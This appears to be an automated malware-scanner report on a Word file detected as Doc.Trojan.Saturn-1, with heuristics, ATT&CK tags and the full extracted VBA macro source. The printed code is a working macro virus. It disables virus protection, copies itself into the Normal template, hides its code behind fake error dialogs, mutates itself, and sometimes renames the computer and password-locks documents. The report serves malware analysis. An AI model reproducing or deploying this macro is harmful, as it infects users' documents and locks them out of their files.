MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing malicious VBA macros, specifically triggering AutoOpen and AutoClose events. The macros attempt to copy themselves to the Normal template and the active document, indicating an intent to establish persistence or spread. The ClamAV detection as 'Doc.Trojan.Saturn-1' further supports its malicious nature. The specific IOCs are related to the file paths used by the macro for copying itself.
Heuristics 5
-
ClamAV: Doc.Trojan.Saturn-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Saturn-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3194 bytes |
SHA-256: b73c5da54cb592679ea5fbca37c7c4d0acbdad113717e1a6538068b11881e967 |
|||
|
Detection
ClamAV:
Doc.Trojan.Saturn-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Saturn"
Private Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" (ByVal lpComputerName As String) As Long
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
DocInfect = False
GlobInfect = False
For b = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(b).Name = "Saturn" Then
DocInfect = True
End If
Next
For U = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(U).Name = "Saturn" Then
GlobInfect = True
End If
Next
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Saturn", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Saturn", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Saturn
Application.DisplayAlerts = wdAlertsAll
End Sub
Sub AutoClose()
On Error Resume Next
Call UMP
Saturn
Call UMP
ActiveDocument.Save
End Sub
Sub Stealth()
On Error Resume Next
Call UMP
RM = Int(Rnd * 5) + 1
If RM = 1 Then smeg$ = "Not enough memory to perform this operation"
If RM = 2 Then smeg$ = "Impossible open this function"
If RM = 3 Then smeg$ = "Function does not answer system requests"
If RM = 4 Then smeg$ = "This program has performed an illegal operation and will be locked"
If RM = 5 Then smeg$ = "This option at present not available"
steMsgType = vbCritical + vbOKCancel + vbMsgBoxHelpButton
message = MsgBox(smeg$, steMsgType, "Microsoft Word")
If vbOKCancel Then
SMB = SwapMouseButton(&H4)
Documents.Close
End If
End Sub
Sub ToolsMacro()
Stealth
End Sub
Sub ToolsCustomize()
Stealth
End Sub
Sub ViewVBCode()
Stealth
End Sub
Sub Saturn()
On Error Resume Next
'Saturn by ULTRAS [SOS]
If Day(Now()) = Int(Rnd() * 30 + 1) Then
Computer = SetComputerName("SOS")
ActiveDocument.Password = "SOS" & Int(Rnd * 333) + 1
ActiveDocument.Save
End If
End Sub
Sub UMP()
'ULTRAS MACRO POLYMORPHIC
PoNu = Int(Rnd() * 28 + 1)
For Mutate = 1 To PoNu
PoRL = Application.VBE.ActiveVBProject.VBComponents("Saturn").CodeModule.CountOfLines
PoLi = Int(Rnd() * PoRL + 1)
a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49
Application.VBE.ActiveVBProject.VBComponents("Saturn").CodeModule.InsertLines PoLi, vbTab & "' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e
Next Mutate
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.